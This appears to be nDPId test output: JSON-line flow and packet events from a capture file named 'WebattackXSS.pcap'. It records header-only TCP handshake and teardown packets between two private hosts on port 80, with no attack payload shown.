+00444{"flow_id":315,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4466,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347503,"pkt_ts_usec":273427,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JtZAAD4GnvqsEAABwKgKMuIeAFAcz9QgAAAAAKACchCXdAAAAgQFtAQCCAoBOvL2AAAAAAEDAwc="} +00445{"flow_id":315,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4467,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347503,"pkt_ts_usec":273500,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4h43pRReHM\/UIaAScSCEAAAAAgQFtAQCCAoD5MRrATry9gEDAwc="} +00432{"flow_id":315,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4468,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347503,"pkt_ts_usec":274150,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JtdAAD4GnwGsEAABwKgKMuIeAFAcz9QhN6UUX4AQAOUjCAAAAQEICgE68vYD5MRr"} +00432{"flow_id":312,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4471,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347503,"pkt_ts_usec":749121,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LPNAAD4GmOWsEAABwKgKMuHoAFBfF8MAyn3mYoARAOWRqgAAAQEICgE6820D5L+D"} +00432{"flow_id":312,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4472,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347503,"pkt_ts_usec":749319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0IoBAAEAGoVjAqAoyrBAAAQBQ4ejKfeZiXxfDAYARAOOMTAAAAQEICgPkxOIBOvNt"} +00432{"flow_id":312,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4473,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347503,"pkt_ts_usec":750094,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LPRAAD4GmOSsEAABwKgKMuHoAFBfF8MByn3mY4AQAOWMSgAAAQEICgE6820D5MTi"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4477,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":1,"flow_first_seen":1499347504529,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57900,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":316,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4477,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347504,"pkt_ts_usec":529243,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MbJAAD4GlB6sEAABwKgKMuIsAFBuJcWCAAAAAKACchBTdAAAAgQFtAQCCAoBOvQwAAAAAAEDAwc="} +00446{"flow_id":316,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4478,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347504,"pkt_ts_usec":529340,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4iwP0\/y\/biXFg6AScSB+NgAAAgQFtAQCCAoD5MWlATr0MAEDAwc="} +00432{"flow_id":316,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4479,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347504,"pkt_ts_usec":530160,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbNAAD4GlCWsEAABwKgKMuIsAFBuJcWDD9P8wIAQAOUdPgAAAQEICgE69DAD5MWl"} +00432{"flow_id":313,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347504,"pkt_ts_usec":749172,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02IpAAD4G7U2sEAABwKgKMuH2AFAMLDfQtTdvKoARAOX6AwAAAQEICgE69GcD5MC8"} +00432{"flow_id":313,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4484,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347504,"pkt_ts_usec":749423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qvZAAEAGGOLAqAoyrBAAAQBQ4fa1N28qDCw30YARAOP05AAAAQEICgPkxdwBOvRn"} +00432{"flow_id":313,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4485,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347504,"pkt_ts_usec":749974,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02ItAAD4G7UysEAABwKgKMuH2AFAMLDfRtTdvK4AQAOX04gAAAQEICgE69GcD5MXc"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4489,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":1,"flow_first_seen":1499347505774,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57914,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":317,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4489,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347505,"pkt_ts_usec":774649,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8e\/VAAD4GSdusEAABwKgKMuI6AFCzho6SAAAAAKACchBDvgAAAgQFtAQCCAoBOvVnAAAAAAEDAwc="} +00444{"flow_id":317,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4490,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347505,"pkt_ts_usec":774819,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4joOXGebs4aOk6AScSAD5AAAAgQFtAQCCAoD5MbdATr1ZwEDAwc="} +00433{"flow_id":317,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4491,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347505,"pkt_ts_usec":775533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e\/ZAAD4GSeKsEAABwKgKMuI6AFCzho6TDlxnnIAQAOWi6wAAAQEICgE69WcD5Mbd"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":6,"flow_first_seen":1499347432482,"flow_last_seen":1499347437734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57130,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":6,"flow_first_seen":1499347432482,"flow_last_seen":1499347437734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57130,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":6,"flow_first_seen":1499347433753,"flow_last_seen":1499347439734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57144,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":6,"flow_first_seen":1499347433753,"flow_last_seen":1499347439734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":7,"flow_first_seen":1499347436274,"flow_last_seen":1499347441734,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57170,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":7,"flow_first_seen":1499347436274,"flow_last_seen":1499347441734,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57170,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":6,"flow_first_seen":1499347437541,"flow_last_seen":1499347442734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57184,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":6,"flow_first_seen":1499347437541,"flow_last_seen":1499347442734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":6,"flow_first_seen":1499347440119,"flow_last_seen":1499347445734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57210,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":6,"flow_first_seen":1499347440119,"flow_last_seen":1499347445734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57210,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":6,"flow_first_seen":1499347441364,"flow_last_seen":1499347446735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57224,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":6,"flow_first_seen":1499347441364,"flow_last_seen":1499347446735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57224,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":314,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4495,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347506,"pkt_ts_usec":750244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YZhAAD4GZECsEAABwKgKMuIEAFAvvZETiHCmeIARAOVvaAAAAQEICgE69lsD5MH6"} +00433{"flow_id":314,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4496,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347506,"pkt_ts_usec":750532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YalAAEAGYi\/AqAoyrBAAAQBQ4gSIcKZ4L72RFIARAONpkgAAAQEICgPkx9EBOvZb"} +00432{"flow_id":314,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4497,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347506,"pkt_ts_usec":751057,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YZlAAD4GZD+sEAABwKgKMuIEAFAvvZEUiHCmeYAQAOVpkAAAAQEICgE69lsD5MfR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4507,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":318,"flow_packet_id":1,"flow_first_seen":1499347508344,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57940,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":318,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4507,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347508,"pkt_ts_usec":344616,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QeJAAD4Gg+6sEAABwKgKMuJUAFDv7LYIAAAAAKACchDdRAAAAgQFtAQCCAoBOvfqAAAAAAEDAwc="} +00444{"flow_id":318,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4508,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347508,"pkt_ts_usec":344744,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4lSsQaQu7+y2CaAScSDAbwAAAgQFtAQCCAoD5MlfATr36gEDAwc="} +00433{"flow_id":318,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347508,"pkt_ts_usec":345302,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QeNAAD4Gg\/WsEAABwKgKMuJUAFDv7LYJrEGkL4AQAOVfdwAAAQEICgE69+oD5Mlf"} +00432{"flow_id":315,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4513,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347508,"pkt_ts_usec":750609,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JthAAD4GnwCsEAABwKgKMuIeAFAcz9QhN6UUX4ARAOUdrgAAAQEICgE6+E8D5MRr"} +00433{"flow_id":315,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4514,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347508,"pkt_ts_usec":750892,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03ZpAAEAG5j3AqAoyrBAAAQBQ4h43pRRfHM\/UIoARAOMYVQAAAQEICgPkycUBOvhP"} +00432{"flow_id":315,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4515,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347508,"pkt_ts_usec":751424,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JtlAAD4Gnv+sEAABwKgKMuIeAFAcz9QiN6UUYIAQAOUYUwAAAQEICgE6+E8D5MnF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4519,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":319,"flow_packet_id":1,"flow_first_seen":1499347509601,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57954,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":319,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4519,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347509,"pkt_ts_usec":601559,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8U2ZAAD4GcmqsEAABwKgKMuJiAFBgjKpCAAAAAKACchB3IwAAAgQFtAQCCAoBOvkkAAAAAAEDAwc="} +00444{"flow_id":319,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4520,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347509,"pkt_ts_usec":601682,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4mJHoK+XYIyqQ6AScSCyTAAAAgQFtAQCCAoD5MqZATr5JAEDAwc="} +00432{"flow_id":319,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4521,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347509,"pkt_ts_usec":602443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U2dAAD4GcnGsEAABwKgKMuJiAFBgjKpDR6CvmIAQAOVRVAAAAQEICgE6+SQD5MqZ"} +00432{"flow_id":316,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4525,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347509,"pkt_ts_usec":751069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbRAAD4GlCSsEAABwKgKMuIsAFBuJcWDD9P8wIARAOUYJAAAAQEICgE6+UkD5MWl"} +00433{"flow_id":316,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4526,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347509,"pkt_ts_usec":751265,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Nn9AAEAGjVnAqAoyrBAAAQBQ4iwP0\/zAbiXFhIARAOMTCwAAAQEICgPkyr8BOvlJ"} +00433{"flow_id":316,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4527,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347509,"pkt_ts_usec":751977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbVAAD4GlCOsEAABwKgKMuIsAFBuJcWED9P8wYAQAOUTCAAAAQEICgE6+UoD5Mq\/"} +00433{"flow_id":317,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4534,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347511,"pkt_ts_usec":752203,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e\/dAAD4GSeGsEAABwKgKMuI6AFCzho6TDlxnnIARAOWdEwAAAQEICgE6+z4D5Mbd"} +00432{"flow_id":317,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4535,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347511,"pkt_ts_usec":752491,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qy9AAEAGGKnAqAoyrBAAAQBQ4joOXGecs4aOlIARAOOXPgAAAQEICgPkzLMBOvs+"} +00433{"flow_id":317,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4536,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347511,"pkt_ts_usec":753005,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e\/hAAD4GSeCsEAABwKgKMuI6AFCzho6UDlxnnYAQAOWXPAAAAQEICgE6+z4D5Myz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4540,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":320,"flow_packet_id":1,"flow_first_seen":1499347512081,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57980,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":320,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4540,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347512,"pkt_ts_usec":81528,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87jVAAD4G15qsEAABwKgKMuJ8AFAKmxWlAAAAAKACchBfLAAAAgQFtAQCCAoBOvuQAAAAAAEDAwc="} 